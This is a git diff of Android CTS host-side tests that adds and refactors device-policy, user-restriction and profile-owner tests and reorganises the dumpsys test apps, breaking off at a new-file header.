diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index afc4e34..0022804 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -16,10 +16,6 @@
 
 package com.android.cts.devicepolicy;
 
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.lang.AssertionError;
-
 /**
  * Set of tests for managed profile owner use cases that also apply to device owners.
  * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTest.
@@ -78,20 +74,37 @@
 
         // start the ScreenCaptureDisabledActivity in the parent
         installAppAsUser(DEVICE_ADMIN_APK, mParentUserId);
-        startScreenCaptureDisabledActivity(mParentUserId);
+        startSimpleActivityAsUser(mParentUserId);
         executeDeviceTestMethod(".ScreenCaptureDisabledTest", "testScreenCapturePossible");
     }
 
-    @Override
-    public void testResetPassword() {
-        // Managed profile owner can't call resetPassword().
-    }
+    public void testScreenCaptureDisabled_assist_allowedPrimaryUser() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        // disable screen capture in profile
+        executeDeviceTestMethod(".ScreenCaptureDisabledTest", "testSetScreenCaptureDisabled_true");
+        try {
+            // Install and enable assistant in personal side.
+            installAppAsUser(ASSIST_APP_APK, mParentUserId);
+            setVoiceInteractionService(ASSIST_INTERACTION_SERVICE);
 
-    public void testCannotClearProfileOwner() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Managed profile owner shouldn't be removed",
-                    runDeviceTestsAsUser(DEVICE_ADMIN_PKG, CLEAR_PROFILE_OWNER_NEGATIVE_TEST_CLASS,
-                            mUserId));
+            // Start an activity in parent user.
+            installAppAsUser(DEVICE_ADMIN_APK, mParentUserId);
+            startSimpleActivityAsUser(mParentUserId);
+
+            // Verify assistant app can't take a screenshot.
+            runDeviceTestsAsUser(
+                    DEVICE_ADMIN_PKG,
+                    ".AssistScreenCaptureDisabledTest",
+                    "testScreenCapturePossible_assist",
+                    mPrimaryUserId);
+        } finally {
+            // enable screen capture in profile
+            executeDeviceTestMethod(
+                    ".ScreenCaptureDisabledTest",
+                    "testSetScreenCaptureDisabled_false");
+            clearVoiceInteractionService();
         }
     }
 
@@ -106,19 +119,22 @@
         // and profile owners on the primary user.
     }
 
+    /**
+     * Don't require a device for tests that use the network stack on secondary users.
+     */
     @Override
-    public void testDelegatedCertInstaller() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        try {
-            super.testDelegatedCertInstaller();
-        } finally {
-            // In managed profile, clearing password through dpm is not allowed. Recreate user to
-            // clear password instead.
-            removeUser(mUserId);
-            createManagedProfile();
-        }
+    public void testAlwaysOnVpn() throws Exception {
+        super.testAlwaysOnVpn();
     }
+
+    @Override
+    public void testAlwaysOnVpnLockDown() throws Exception {
+        super.testAlwaysOnVpnLockDown();
+    }
+
+    @Override
+    public void testAlwaysOnVpnPackageUninstalled() throws Exception {
+        super.testAlwaysOnVpnPackageUninstalled();
+    }
+
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
new file mode 100644
index 0000000..23324a3
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+/**
+ * Set of tests for managed profile owner use cases that also apply to device owners.
+ * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTestApi25.
+ */
+public class MixedManagedProfileOwnerTestApi25 extends DeviceAndProfileOwnerTestApi25 {
+
+    private int mParentUserId = -1;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        // We need managed users to be supported in order to create a profile of the user owner.
+        mHasFeature &= hasDeviceFeature("android.software.managed_users");
+
+        if (mHasFeature) {
+            removeTestUsers();
+            mParentUserId = mPrimaryUserId;
+            createManagedProfile();
+        }
+    }
+
+    private void createManagedProfile() throws Exception {
+        mUserId = createManagedProfile(mParentUserId);
+        switchUser(mParentUserId);
+        startUser(mUserId);
+
+        installAppAsUser(DEVICE_ADMIN_APK, mUserId);
+        setProfileOwnerOrFail(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+        startUser(mUserId);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mHasFeature) {
+            removeUser(mUserId);
+        }
+        super.tearDown();
+    }
+
+    /**
+     * Verify the Profile Owner of a managed profile can create and change the password,
+     * but cannot remove it.
+     */
+    @Override
+    public void testResetPassword() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+
+        executeDeviceTestMethod(RESET_PASSWORD_TEST_CLASS, "testResetPasswordManagedProfile");
+    }
+
+    /**
+     *  Verify the Profile Owner of a managed profile can only change the password when FBE is
+     *  unlocked, and cannot remove the password even when FBE is unlocked.
+     */
+    @Override
+    public void testResetPasswordFbe() throws Exception {
+        if (!mHasFeature || !mSupportsFbe) {
+            return;
+        }
+
+        // Lock FBE and verify resetPassword is disabled
+        executeDeviceTestMethod(FBE_HELPER_CLASS, "testSetPassword");
+        rebootAndWaitUntilReady();
+        executeDeviceTestMethod(RESET_PASSWORD_TEST_CLASS, "testResetPasswordDisabled");
+
+        // Start an activity in managed profile to trigger work challenge
+        startSimpleActivityAsUser(mUserId);
+
+        // Unlock FBE and verify resetPassword is enabled again
+        executeDeviceTestMethod(FBE_HELPER_CLASS, "testUnlockFbe");
+        executeDeviceTestMethod(RESET_PASSWORD_TEST_CLASS, "testResetPasswordManagedProfile");
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
index e1d50bd..803cf36 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
@@ -16,6 +16,8 @@
 
 package com.android.cts.devicepolicy;
 
+import android.platform.test.annotations.RequiresDevice;
+
 /**
  * Set of tests for pure (non-managed) profile owner use cases that also apply to device owners.
  * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTest.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java
new file mode 100644
index 0000000..b044441
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import android.platform.test.annotations.RequiresDevice;
+
+/**
+ * Set of tests for pure (non-managed) profile owner use cases that also apply to device owners.
+ * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTestApi25.
+ */
+public class MixedProfileOwnerTestApi25 extends DeviceAndProfileOwnerTestApi25 {
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        if (mHasFeature) {
+            mUserId = mPrimaryUserId;
+
+            installAppAsUser(DEVICE_ADMIN_APK, mUserId);
+            if (!setProfileOwner(
+                    DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
+                    /*expectFailure*/ false)) {
+                removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+                getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+                fail("Failed to set profile owner");
+            }
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mHasFeature) {
+            assertTrue("Failed to remove profile owner.",
+                    removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
+        }
+        super.tearDown();
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
index aedabc2..4f72186 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
@@ -46,6 +46,27 @@
         }
     }
 
+    public void testWifi() throws Exception {
+        if (!mHasFeature || !hasDeviceFeature("android.hardware.wifi")) {
+            return;
+        }
+        executeProfileOwnerTest("WifiTest");
+    }
+
+    public void testManagement() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        executeProfileOwnerTest("ManagementTest");
+    }
+
+    public void testAdminActionBookkeeping() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        executeProfileOwnerTest("AdminActionBookkeepingTest");
+    }
+
     @Override
     protected void tearDown() throws Exception {
         if (mHasFeature) {
@@ -62,7 +83,6 @@
             return;
         }
         String testClass = PROFILE_OWNER_PKG + "." + testClassName;
-        assertTrue(testClass + " failed.", runDeviceTestsAsUser(PROFILE_OWNER_PKG, testClass,
-                mPrimaryUserId));
+        runDeviceTestsAsUser(PROFILE_OWNER_PKG, testClass, mPrimaryUserId);
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java
index 33aa1d2..26aa643 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java
@@ -58,7 +58,7 @@
         if (!mHasFeature) {
             return;
         }
-        assertTrue("DelegatedCertInstaller failed", runDeviceTestsAsUser(DEVICE_ADMIN_PKG,
-                ".DelegatedCertInstallerTest", "testSetNotExistCertInstallerPackage",  mUserId));
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG,
+                ".DelegatedCertInstallerTest", "testSetNotExistCertInstallerPackage",  mUserId);
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java
index bc61a81..90c35f4 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java
@@ -26,6 +26,17 @@
     private static final String ADMIN_RECEIVER_TEST_CLASS
             = ".BaseDeviceAdminTest$BasicAdminReceiver";
 
+    private static final String GLOBAL_RESTRICTIONS_TEST_CLASS =
+            "userrestrictions.ProfileGlobalRestrictionsTest";
+    private static final String SET_GLOBAL_RESTRICTIONS_TEST =
+            "testSetProfileGlobalRestrictions";
+    private static final String CLEAR_GLOBAL_RESTRICTIONS_TEST =
+            "testClearProfileGlobalRestrictions";
+    private static final String ENSURE_GLOBAL_RESTRICTIONS_TEST =
+            "testProfileGlobalRestrictionsEnforced";
+    private static final String ENSURE_NO_GLOBAL_RESTRICTIONS_TEST =
+            "testProfileGlobalRestrictionsNotEnforced";
+
     private boolean mRemoveOwnerInTearDown;
     private int mDeviceOwnerUserId;
 
@@ -44,9 +55,7 @@
                 assertTrue("Failed to clear owner",
                         removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
                                 mDeviceOwnerUserId));
-                assertTrue("Some user restrictions are still set",
-                        runTests("userrestrictions.CheckNoOwnerRestrictionsTest",
-                                mDeviceOwnerUserId));
+                runTests("userrestrictions.CheckNoOwnerRestrictionsTest", mDeviceOwnerUserId);
             }
 
             // DO/PO might have set DISALLOW_REMOVE_USER, so it needs to be done after removing
@@ -57,28 +66,28 @@
         super.tearDown();
     }
 
-    private boolean runTests(@Nonnull String className,
+    private void runTests(@Nonnull String className,
             @Nullable String method, int userId) throws DeviceNotAvailableException {
-        return runDeviceTestsAsUser(DEVICE_ADMIN_PKG, "." + className, method, userId);
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, "." + className, method, userId);
     }
 
-    private boolean runTests(@Nonnull String className, int userId)
+    private void runTests(@Nonnull String className, int userId)
             throws DeviceNotAvailableException {
-        return runTests(className, null, userId);
+        runTests(className, null, userId);
     }
 
     public void testUserRestrictions_deviceOwnerOnly() throws Exception {
         if (!mHasFeature) {
             return;
         }
-        installAppAsUser(DEVICE_ADMIN_APK, mDeviceOwnerUserId);
-        assertTrue("Failed to set device owner",
-                setDeviceOwner(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
-                        mDeviceOwnerUserId, /*expectFailure*/ false));
-        mRemoveOwnerInTearDown = true;
+        setDo();
 
         runTests("userrestrictions.DeviceOwnerUserRestrictionsTest",
+                "testDefaultRestrictions", mDeviceOwnerUserId);
+        runTests("userrestrictions.DeviceOwnerUserRestrictionsTest",
                 "testSetAllRestrictions", mDeviceOwnerUserId);
+        runTests("userrestrictions.DeviceOwnerUserRestrictionsTest",
+                "testBroadcast", mDeviceOwnerUserId);
     }
 
     public void testUserRestrictions_primaryProfileOwnerOnly() throws Exception {
@@ -90,29 +99,50 @@
             return;
         }
 
-        installAppAsUser(DEVICE_ADMIN_APK, mDeviceOwnerUserId);
-        assertTrue("Failed to set profile owner",
-                setProfileOwner(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
-                        mDeviceOwnerUserId, /* expectFailure */ false));
-        mRemoveOwnerInTearDown = true;
+        setPoAsUser(mDeviceOwnerUserId);
 
         runTests("userrestrictions.PrimaryProfileOwnerUserRestrictionsTest",
+                "testDefaultRestrictions", mDeviceOwnerUserId);
+        runTests("userrestrictions.PrimaryProfileOwnerUserRestrictionsTest",
                 "testSetAllRestrictions", mDeviceOwnerUserId);
+        runTests("userrestrictions.PrimaryProfileOwnerUserRestrictionsTest",
+                "testBroadcast", mDeviceOwnerUserId);
     }
 
+    // Checks restrictions for managed user (NOT managed profile).
     public void testUserRestrictions_secondaryProfileOwnerOnly() throws Exception {
         if (!mHasFeature || !mSupportsMultiUser) {
             return;
         }
         final int secondaryUserId = createUser();
-
-        installAppAsUser(DEVICE_ADMIN_APK, secondaryUserId);
-        assertTrue("Failed to set profile owner",
-                setProfileOwner(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
-                        secondaryUserId, /* expectFailure */ false));
+        setPoAsUser(secondaryUserId);
 
         runTests("userrestrictions.SecondaryProfileOwnerUserRestrictionsTest",
+                "testDefaultRestrictions", secondaryUserId);
+        runTests("userrestrictions.SecondaryProfileOwnerUserRestrictionsTest",
                 "testSetAllRestrictions", secondaryUserId);
+        runTests("userrestrictions.SecondaryProfileOwnerUserRestrictionsTest",
+                "testBroadcast", secondaryUserId);
+    }
+
+    // Checks restrictions for managed profile.
+    public void testUserRestrictions_managedProfileOwnerOnly() throws Exception {
+        if (!mHasFeature || !mSupportsMultiUser) {
+            return;
+        }
+
+        // Create managed profile.
+        final int profileUserId = createManagedProfile(mDeviceOwnerUserId /* parentUserId */);
+        // createManagedProfile doesn't start the user automatically.
+        startUser(profileUserId);
+        setPoAsUser(profileUserId);
+
+        runTests("userrestrictions.ManagedProfileOwnerUserRestrictionsTest",
+                "testDefaultRestrictions", profileUserId);
+        runTests("userrestrictions.ManagedProfileOwnerUserRestrictionsTest",
+                "testSetAllRestrictions", profileUserId);
+        runTests("userrestrictions.ManagedProfileOwnerUserRestrictionsTest",
+                "testBroadcast", profileUserId);
     }
 
     /**
@@ -122,20 +152,11 @@
         if (!mHasFeature || !mSupportsMultiUser) {
             return;
         }
-        // Set DO
-        installAppAsUser(DEVICE_ADMIN_APK, mDeviceOwnerUserId);
-        assertTrue("Failed to set device owner",
-                setDeviceOwner(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
-                        mDeviceOwnerUserId, /*expectFailure*/ false));
-        mRemoveOwnerInTearDown = true;
+        setDo();
 
         // Create another user and set PO.
         final int secondaryUserId = createUser();
-
-        installAppAsUser(DEVICE_ADMIN_APK, secondaryUserId);
-        assertTrue("Failed to set profile owner",
-                setProfileOwner(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
-                        secondaryUserId, /* expectFailure */ false));
+        setPoAsUser(secondaryUserId);
 
         // Let DO set all restrictions.
         runTests("userrestrictions.DeviceOwnerUserRestrictionsTest",
@@ -173,20 +194,12 @@
             // Can't set PO on user-0 in this mode.
             return;
         }
-        // Set DO on user 0
-        installAppAsUser(DEVICE_ADMIN_APK, mDeviceOwnerUserId);
-        assertTrue("Failed to set profile owner",
-                setProfileOwner(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
-                        mDeviceOwnerUserId, /* expectFailure */ false));
-        mRemoveOwnerInTearDown = true;
+        // Set PO on user 0
+        setPoAsUser(mDeviceOwnerUserId);
 
         // Create another user and set PO.
         final int secondaryUserId = createUser();
-
-        installAppAsUser(DEVICE_ADMIN_APK, secondaryUserId);
-        assertTrue("Failed to set profile owner",
-                setProfileOwner(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
-                        secondaryUserId, /* expectFailure */ false));
+        setPoAsUser(secondaryUserId);
 
         // Let user-0 PO sets all restrictions.
         runTests("userrestrictions.PrimaryProfileOwnerUserRestrictionsTest",
@@ -196,4 +209,100 @@
         runTests("userrestrictions.SecondaryProfileOwnerUserRestrictionsTest",
                 "testDefaultRestrictionsOnly", secondaryUserId);
     }
+
+    /**
+     * DO sets profile global restrictions (only ENSURE_VERIFY_APPS), should affect all
+     * users (not a particularly special case but to be sure).
+     */
+    public void testUserRestrictions_profileGlobalRestrictionsAsDo() throws Exception {
+        if (!mHasFeature || !mSupportsMultiUser) {
+            return;
+        }
+        setDo();
+
+        // Create another user with PO.
+        final int secondaryUserId = createUser();
+        setPoAsUser(secondaryUserId);
+
+        final int[] usersToCheck = {mDeviceOwnerUserId, secondaryUserId};
+
+        // Do sets the restriction.
+        setAndCheckProfileGlobalRestriction(mDeviceOwnerUserId, usersToCheck);
+    }
+
+    /**
+     * Managed profile owner sets profile global restrictions (only ENSURE_VERIFY_APPS), should
+     * affect all users.
+     */
+    public void testUserRestrictions_ProfileGlobalRestrictionsAsPo() throws Exception {
+        if (!mHasFeature || !mSupportsMultiUser) {
+            return;
+        }
+        // Set PO on user 0
+        setPoAsUser(mDeviceOwnerUserId);
+
+        // Create another user with PO.
+        final int secondaryUserId = createManagedProfile(mDeviceOwnerUserId /* parentUserId */);
+        setPoAsUser(secondaryUserId);
+
+        final int[] usersToCheck = {mDeviceOwnerUserId, secondaryUserId};
+
+        // Check the case when primary user's PO sets the restriction.
+        setAndCheckProfileGlobalRestriction(mDeviceOwnerUserId, usersToCheck);
+
+        // Check the case when managed profile owner sets the restriction.
+        setAndCheckProfileGlobalRestriction(secondaryUserId, usersToCheck);
+    }
+
+    /** Installs admin package and makes it a profile owner for a given user. */
+    private void setPoAsUser(int userId) throws Exception {
+        installAppAsUser(DEVICE_ADMIN_APK, userId);
+        assertTrue("Failed to set profile owner",
+                setProfileOwner(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
+                        userId, /* expectFailure */ false));
+        // If PO is not in primary user, it will be removed with the user.
+        if (userId == mDeviceOwnerUserId) {
+            mRemoveOwnerInTearDown = true;
+        }
+    }
+
+    /** Installs admin package and makes it a device owner. */
+    private void setDo() throws Exception {
+        installAppAsUser(DEVICE_ADMIN_APK, mDeviceOwnerUserId);
+        assertTrue("Failed to set device owner",
+                setDeviceOwner(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
+                        mDeviceOwnerUserId, /*expectFailure*/ false));
+        mRemoveOwnerInTearDown = true;
+    }
+
+    /**
+     * Sets user restriction and checks that it applies to all users.
+     * @param enforcingUserId user who should set/clear the restriction, should be either
+     *        primary or secondary user id and should have device or profile owner active.
+     * @param usersToCheck users that should have this restriction enforced.
+     */
+    private void setAndCheckProfileGlobalRestriction(int enforcingUserId, int usersToCheck[])
+            throws Exception {
+        // Always try to clear the restriction to avoid undesirable side effects.
+        try {
+            // Set the restriction.
+            runGlobalRestrictionsTest(SET_GLOBAL_RESTRICTIONS_TEST, enforcingUserId);
+            // Check that the restriction is in power.
+            for (int userId : usersToCheck) {
+                runGlobalRestrictionsTest(ENSURE_GLOBAL_RESTRICTIONS_TEST, userId);
+            }
+        } finally {
+            // Clear the restriction.
+            runGlobalRestrictionsTest(CLEAR_GLOBAL_RESTRICTIONS_TEST, enforcingUserId);
+            // Check that the restriction is not in power anymore.
+            for (int userId : usersToCheck) {
+                runGlobalRestrictionsTest(ENSURE_NO_GLOBAL_RESTRICTIONS_TEST, userId);
+            }
+        }
+    }
+
+    /** Convenience method to run global user restrictions tests. */
+    private void runGlobalRestrictionsTest(String testMethodName, int userId) throws Exception {
+        runTests(GLOBAL_RESTRICTIONS_TEST_CLASS, testMethodName, userId);
+    }
 }
diff --git a/hostsidetests/dumpsys/Android.mk b/hostsidetests/dumpsys/Android.mk
index 9de0e9c..8a3470f 100644
--- a/hostsidetests/dumpsys/Android.mk
+++ b/hostsidetests/dumpsys/Android.mk
@@ -21,9 +21,7 @@
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsDumpsysHostTestCases
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
 
 LOCAL_CTS_TEST_PACKAGE := android.dumpsys
 
diff --git a/hostsidetests/dumpsys/AndroidTest.xml b/hostsidetests/dumpsys/AndroidTest.xml
index f1ebc79..252bf90 100644
--- a/hostsidetests/dumpsys/AndroidTest.xml
+++ b/hostsidetests/dumpsys/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for the CTS dumpsys host tests">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest">
         <option name="jar" value="CtsDumpsysHostTestCases.jar" />
     </test>
diff --git a/hostsidetests/dumpsys/apps/Android.mk b/hostsidetests/dumpsys/apps/Android.mk
new file mode 100644
index 0000000..4a74e80
--- /dev/null
+++ b/hostsidetests/dumpsys/apps/Android.mk
@@ -0,0 +1,20 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/dumpsys/FramestatsTestApp/Android.mk b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
similarity index 100%
rename from hostsidetests/dumpsys/FramestatsTestApp/Android.mk
rename to hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
diff --git a/hostsidetests/dumpsys/FramestatsTestApp/AndroidManifest.xml b/hostsidetests/dumpsys/apps/FramestatsTestApp/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/dumpsys/FramestatsTestApp/AndroidManifest.xml
rename to hostsidetests/dumpsys/apps/FramestatsTestApp/AndroidManifest.xml
diff --git a/hostsidetests/dumpsys/FramestatsTestApp/src/com/android/cts/framestatstestapp/FramestatsTestAppActivity.java b/hostsidetests/dumpsys/apps/FramestatsTestApp/src/com/android/cts/framestatstestapp/FramestatsTestAppActivity.java
similarity index 100%
rename from hostsidetests/dumpsys/FramestatsTestApp/src/com/android/cts/framestatstestapp/FramestatsTestAppActivity.java
rename to hostsidetests/dumpsys/apps/FramestatsTestApp/src/com/android/cts/framestatstestapp/FramestatsTestAppActivity.java
diff --git a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
new file mode 100644
index 0000000..dbcfb96
--- /dev/null
+++ b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsProcStatsHelperApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_JAVA_LIBRARIES := cts-junit
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    compatibility-device-util \
+    android-support-v4
+
+LOCAL_SDK_VERSION := test_current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/AndroidManifest.xml b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/AndroidManifest.xml
new file mode 100644
index 0000000..1a84011
--- /dev/null
+++ b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.server.cts.procstatshelper"
+    android:versionCode="32123">
+
+    <uses-sdk android:minSdkVersion="24" android:targetSdkVersion="24"/>
+
+    <application>
+        <activity android:name=".MainActivity"
+            android:exported="true" />
+        <service android:name=".ProcStatsHelperServiceMain"
+            android:exported="true" />
+        <service android:name=".ProcStatsHelperServiceSub" android:process=":proc2"
+            android:exported="true" />
+    </application>
+</manifest>
diff --git a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/src/com/android/server/cts/procstatshelper/MainActivity.java b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/src/com/android/server/cts/procstatshelper/MainActivity.java
new file mode 100644
index 0000000..527f7a4
--- /dev/null
+++ b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/src/com/android/server/cts/procstatshelper/MainActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.procstatshelper;
+
+import android.app.Activity;
+import android.os.Handler;
+
+public class MainActivity extends Activity {
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        new Handler().postDelayed(() -> finish(), 2000);
+    }
+}
diff --git a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/src/com/android/server/cts/procstatshelper/ProcStatsHelperServiceBase.java b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/src/com/android/server/cts/procstatshelper/ProcStatsHelperServiceBase.java
new file mode 100644
